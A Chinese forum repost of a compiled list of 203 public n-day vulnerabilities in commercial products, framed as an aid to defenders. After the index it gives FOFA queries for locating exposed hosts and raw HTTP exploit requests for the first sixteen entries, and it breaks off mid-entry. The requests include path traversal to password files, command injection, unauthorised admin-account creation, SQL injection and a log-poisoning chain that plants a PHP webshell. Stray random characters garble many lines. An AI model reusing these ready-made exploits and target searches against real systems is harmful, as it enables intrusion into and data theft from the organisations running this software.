中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
0 P6 w  K* Y; \8 a5 q/ u' \以下文章来源于网络安全新视界 ，作者网络安全新视界

9 z- t$ H# s) |0 n. ~/ {发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
- M+ J, W9 W" G( z3 ^0 E
+ D* W& Z; |' k& y  O漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
1 S  G1 h' `9 v9 v5 {1 j5 \
7 J* @5 n* \- D$ z2 R- k, k2 f安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
6 q& p0 S% l  E) Y
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

6 z( l* b9 M/ S5 d& w# m$ B合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

- ]; _1 K4 V- Z9 t; B* D9 z5 m
声明

1 L# u% {7 K5 V. Z为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
, j% E; `  i% P7 d

+ F# v  }# x9 V% |/ c; ]7 S5 A
目录

) ~- j. O0 X% w; |% [3 Q8 G01

1. StarRocks MPP数据库未授权访问
1 _" f# k$ p8 S2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
: t$ X$ L& E: G- }# {4. EasyCVR视频管理平台存在任意用户添加
  F7 J. x. x4 S* J9 U) q- f7 Z5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
3 d3 G+ ^5 \9 C0 X2 d7. 鸿运主动安全监控云平台任意文件下载
# h) Z/ @7 W9 z. o8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
$ V: {3 n! v: r* s3 n& T8 Q7 b10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
7 i) }/ I) h& Q) z5 d% m11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
. `( }: s  o, q) b; F7 r3 [9 M14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
/ `1 p3 i( A5 K4 A5 N$ n4 f! Y16. 红帆HFOffice医微云SQL注入
6 t0 ~: V- a$ E( o- g17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
) L( C2 ]$ P& \, i  T5 E2 }/ J. s, F19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* X" y2 g+ n- `20. 大华ICC智能物联综合管理平台任意文件读取
4 T6 c" Y- {' d* w2 r  T21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
: y2 D5 z0 S6 r* M  a25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
6 N( ?2 C; E6 u& H7 U$ t% |) z+ A27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
/ p" G4 c2 \; B" z7 @29. 用友NC down/bill SQL注入
) D' l8 v7 y& L0 |6 B30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
) d; b2 L8 q/ x) a  G; H32. 用友NC complainbilldetail SQL注入
" d4 E2 [" M  Y7 j6 B4 D: f1 n; F33. 用友NC downTax/download SQL注入
: F# o1 F: A+ G- N8 f1 f34. 用友NC warningDetailInfo接口SQL注入
1 ~0 ?' l0 w# S! M) B35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
, G3 F- p- B2 {* \38. 用友U8 Cloud smartweb2.RPC.d XXE
" x- G% X( N" {5 H2 h2 w4 _39. 用友U8 Cloud RegisterServlet SQL注入
, F- _/ a4 ?- n7 E% B1 _$ z" ~40. 用友U8-Cloud XChangeServlet XXE
- a9 i# V/ c6 {0 N41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 ~8 ~! N1 f( P42. 用友GRP-U8 SmartUpload01 文件上传
) u  b7 c* X: m% h43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
8 Y) P+ d0 m4 t! [( }45. 用友GRP-U8 ufgovbank XXE
" R! _5 Z* _8 X. D( `0 E- R; u: D46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
* C5 {# e7 p7 e* l1 y48. 用友U8 CRM swfupload 任意文件上传
6 w! x- A5 [; y- Y49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
3 C* o0 G/ l- J8 W4 j# {' Q4 G% Y54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
0 t) E7 j9 z3 ~+ b3 e4 p, D$ Z61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
& }' z. w9 x# k% g64. 捷诚管理信息系统CWSFinanceCommon SQL注入
. y; G  u8 h/ W65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
9 r& H- Z& }: P7 D- {/ [66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
, v# U4 s0 ]  f5 S67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
6 a1 O5 Y$ o& ^72. 致远OA getAjaxDataServlet XXE
  L% {  V% e/ A& s73. GeoServer wms远程代码执行
4 h9 y. S' @1 j$ R5 b0 Y74. 致远M3-server 6_1sp1 反序列化RCE
8 L( {  I1 s* a( d75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
1 P5 l- }" D" \& X8 g* X0 ~+ }77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
4 A" l9 y; A6 A" N; \82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
( c: ?0 e0 A  _2 L. K83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
: w: c' `' J3 T5 [( b$ a3 o86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
6 Z7 X. X6 p( W- K88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
0 `9 f: e( Y1 n: y( Y9 \: v89. 致远互联FE协作办公平台editflow_manager存在sql注入
7 Y* Y) r; m5 Z  c0 ]90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
" [0 K* d' @( {9 o9 _% O* A3 [91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
+ a  h+ P9 D* e2 ]" y' I$ y92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
* A  h1 a5 ?. l4 a# a. [& r97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
) O1 @# Y8 u3 A* D2 ?. T9 p9 o99. Ncast盈可视高清智能录播系统busiFacade RCE
& i% N9 N3 N$ C0 H+ G100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
  h2 w% f% G9 `; ]% k: M8 z" Z103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
9 w  o+ c! `1 }' e107. SpringBlade tenant/list SQL 注入
. h$ P6 L, w% N4 @/ Q108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
; P8 s9 v# s0 [0 I3 V2 B112. WordPress Plugin NotificationX SQL 注入
- `) u3 _0 h" M8 J: u& {/ |) |113. WordPress Automatic 插件任意文件下载和SSRF
% W6 Z% h7 n7 f. t1 R2 K) L- d114. WordPress MasterStudy LMS插件 SQL注入
" [  v! I. f0 z( S5 _0 x0 n% ^115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
& L& q6 V& R, x" N! m5 `117. WordPress LayerSlider插件SQL注入
6 N1 B9 O2 Z+ {1 u118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
5 T* R0 e( H' }1 u+ c; P6 N* b122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
  y' [" D- f" r: C$ T% Y) @124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
8 g( D+ T: S) d2 T3 S$ i127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
1 R% Q* Z9 R9 o129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
% x" E# J. u2 {135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
% X  A: O: w  H9 _- p, g136. NextChat cors SSRF
+ a. Y4 U) J' k( D% d137. 福建科立迅通信指挥调度平台down_file.php sql注入
1 E+ _3 C3 d) s: V138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
% q8 b4 v& `2 u" A- F7 m1 h4 o; }140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
1 l* p$ O; d" O8 f) f, M6 y+ Y+ w141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
# e6 k+ G) w# r2 ]7 q* t  Q( e144. D-Link nas_sharing.cgi 命令注入
/ m1 j8 Y' l, P2 Q145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
  p; Q0 z$ G$ Z. y( w) p147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
' A) l: I/ L+ t; p: h151. AJ-Report 1.4.1 pageList sql注入
; z+ P; w# l0 j' p# ^5 D" I6 {152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
/ k' `- c! I$ W1 x( ~$ R* ]154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
6 |4 O* a# j4 `+ G+ J6 `156. TBK DVR-4104/DVR-4216 操作系统命令注入
- E4 H! {) Q. t8 i157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
$ @/ ]% i% j2 [' S/ E160. Sonatype Nexus Repository 3目录遍历与文件读取
4 [. G& K  t7 S8 U161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
! u1 c9 f) }& L7 E1 Y164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
/ E4 Y* B% S  u2 E0 Y; Q8 z165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
  \: z  N% ^0 R! F5 N168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
" F6 z) @2 s- v8 H! l  [170. 宏景EHR DisplayExcelCustomReport 任意文件读取
( m- {7 K+ F& z2 ~' `8 R5 q171. 通天星CMSV6车载定位监控平台 SQL注入
3 V: l* t4 V" ^" _, D, z) M- W/ w172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
9 l+ ^" p6 O7 f1 N175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
$ U4 f1 {7 [  h( G- N; @7 A8 X176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
6 _; |1 N9 a. K/ t1 F8 Q. H. {183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 f; D$ R6 V5 T: s3 c; d185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
, v8 o$ e; S, t' l. s) o- \* l6 `; U+ w2 e188. 叁体-佳会视频会议 attachment 任意文件读取
# @% u2 t( b. D6 S/ ?189. 蓝网科技临床浏览系统 deleteStudy SQL注入
5 Q( H9 [, q0 t, M! F/ z190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
5 J9 A4 o, E7 y$ V194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
- Z" a$ `' K8 y9 c- V; ~' l196. 河南省风速科技统一认证平台密码重置
. U: S# \1 r1 n  ?3 P* h  \# C) M197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
, K1 R4 @$ X: x) e# `+ X" @202. 微擎系统 AccountEdit任意文件上传
( }. v; S1 y9 p6 I203. 红海云EHR PtFjk 文件上传
7 b# z5 Z1 m4 E
7 ~2 |: J! @/ l- D& e1 NPOC列表
# e6 P+ m& b5 p9 g( Z/ E
02
. ]6 w. b1 L% V$ l1 ]
1. StarRocks MPP数据库未授权访问
8 W$ x* l' o. f( Q- AFOFA ：title="StarRocks"
7 Q  c6 _3 M  zGET /mem_tracker HTTP/1.1
) P& a1 q$ ^+ a+ k3 f! R, L4 VHost: URL

) {# w- V1 ]2 h3 S: c& f
6 F3 c4 P, A, _. R* b6 {2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
' ~# H7 H& x+ r) z$ M/ DGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
! s1 y; ~5 L+ c/ k4 NHost: xx.xx.xx.xx:9999
' U8 Z( U4 z7 mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 e$ d% q% @' L8 {0 M+ ]0 bConnection: close
. y4 V5 X% z  h* eAccept: */*
* \6 h6 H/ s  {) j1 M) B7 v" hAccept-Language: en
" C: f! w2 X+ c  W9 C+ ^1 mAccept-Encoding: gzip
+ \- ?& M$ F6 Q' y6 s. g$ q

- _4 n0 S% T% l# M$ R2 f3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
2 i& [  {  w1 q. }" y; cGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
# x) g2 H- T( sHost: xx.xx.xx.xx

% F7 r2 |- i# M+ `
/ l* \+ {) W/ b" b) i  }8 k; J4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

1 ]6 o$ m/ d* Zpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
- h" ]) F* @8 n5 W. z, rContent-Type: application/x-www-form-urlencoded; charset=UTF-8
, }5 H$ m- d1 j# G
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
( g. U1 A+ O) o. e) m. V2 b( ^% l

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
# |, m2 S4 K8 |$ q4 r  ZGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
2 @9 T, S1 |1 h% S

6. 深信服 NGAF 任意文件读取
) x( M( f5 o' xFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
0 C5 G/ c' {  f% q& _

7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
' @1 K" q# w; _0 O- e" P( R' V2 B
% e% L$ d7 E+ C# F+ v
; d( a8 o9 p3 t( B8. 斐讯 Phicomm 路由器RCE
( C. O: T; X2 l( B4 }FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
  l- Z( b7 E2 E" A) k! @Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 ]9 a# N5 t" L/ [  @  P: U' Z4 y; N
------WebKitFormBoundaryxbgjoytz
( K2 s2 ^6 m, F! PContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
* g/ J" _, b: J& u0 ]* C
12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
7 m5 X$ O! ?9 P: h8 n' c------WebKitFormBoundaryxbgjoytz
" G* ?' P) {4 U4 m. YContent-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--
: o- [  L0 I- L& \' S# e0 y7 v
& Z! P1 i( T+ P2 ^
* }: f2 d$ w3 d  ]0 c+ e+ P; Q/ N9. 稻壳CMS keyword 未授权SQL注入
3 T9 m" r/ m; w; c" }4 T. sFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
" J9 l: X: s* t  PHost: x.x.x.x


payload为下列语句的二次Url编码

  X9 O7 C  S! \& F# \4 y' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
, e1 ~7 H% Y/ Z! T4 L
2 D+ A* u1 u& Q, _8 Z10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
' D) v6 e# ^: `+ `0 [2 v' PFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
' {6 }7 b+ x# m9 `  Y7 ~POST /eis/service/api.aspx?action=saveImg HTTP/1.1
0 i2 m3 ]4 |0 R  g/ h( }/ k, E4 xHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
2 @, y7 d: E$ D) p' XContent-Length: 197
1 j3 f1 \9 a" l3 [  Z6 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
+ ^* G9 B2 E3 d! K: cAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

3 d8 J" \4 }( l. v# U------WebKitFormBoundaryxdgaqmqu
/ `6 C4 I+ _3 D- xContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
2 K# d  @2 Z) V3 ]; L& H
$ s; Y1 m$ M" H: i' Mjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
1 h! q+ g. B& k

2 `9 ~; ]; r1 q9 [( n- ^11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# y7 g% l5 p9 w. }; g& ^FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
& [# y9 o4 d2 Y; `$ f! b7 H4 RHost: 127.0.0.1
, I" c: V. w$ Z, A2 pPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 B2 e$ R' Y. ]0 Z+ HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

. u( V2 T- ?- U( H0 f
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
" Z9 d; u0 H* m! Y7 n1 {0 m  h- A第一步先拿到cookie
; y, u5 ]- }$ k# Y0 Z- V4 fGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
. V: r, r6 m0 q/ R6 K* G. jAccept-Encoding: gzip

9 @' N5 j0 R+ @( |+ i, `
响应中csrf_cookie_jorani用于后续请求
6 d' Y6 d! L1 _# ]# h1 F- qHTTP/1.1 200 OK
, ^0 L* x8 V0 H1 e7 G9 {Connection: close
Cache-Control: no-store, no-cache, must-revalidate
/ T9 x5 D+ S' {Content-Type: text/html; charset=UTF-8
7 O1 z5 A4 |  m: B3 _% e" u, I3 oDate: Tue, 24 Oct 2023 09:34:28 GMT
% L4 ~/ Y2 P" K& y2 DExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
( C) V" r% Q' F5 _' i* G" ~Pragma: no-cache
  B6 V+ |/ l+ ^. I4 L1 ^$ RServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
; |9 n/ \  z. H
1 u9 ^: n' y+ i& n1 W& ~
; |9 c2 {9 _' k# E; C: P* b3 OPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
1 Y4 |3 }: C1 [4 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
5 B! j9 F# D9 s/ Z0 I$ l* hContent-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

# ?) T; t% Z6 T  w; h7 z' l1 p

. u. z9 G3 W' h0 q. g向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 A3 j+ k( ?7 P+ [8 p5 V8 Y  _Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
4 O+ F, R" V! AK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

+ ~# o: }) g9 p2 M6 g& G6 X: f
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
' W3 @: z1 k% v( z% F: |# |GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
- g; Q+ B/ T, I. p' |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( t3 U+ Y1 ^9 H1 ~0 FConnection: close
9 W- [. ~1 t* z! [0 F+ `Accept: */*
& t( `4 ~' Z% Q- OAccept-Encoding: gzip
" J2 ^; D( N+ ]' Q4 c% y; U

- y. W" n' Q- }8 e: i14. 华夏ERP（jshERP）敏感信息泄露
+ u5 x* l" u( jFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
0 n8 M7 b- }+ L: f6 ]" ?# MHost: x.x.x.x
  \  H  o& ^7 n0 @* XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
. R! h, K4 U. O* s4 wConnection: close
2 ^: c: x+ T. m, N7 ~/ n. E3 `Accept: */*
Accept-Language: en
/ `- o$ T8 e) z3 tAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
6 l, D8 A% ]1 E# ~! cCVE-2024-0490
+ |$ V5 Q7 X( f3 _& hFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
/ x8 s% l" G0 ^  z) BHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
0 o9 z7 b) B% O& usec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
9 ~( E6 j/ y; J) H( p8 LFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
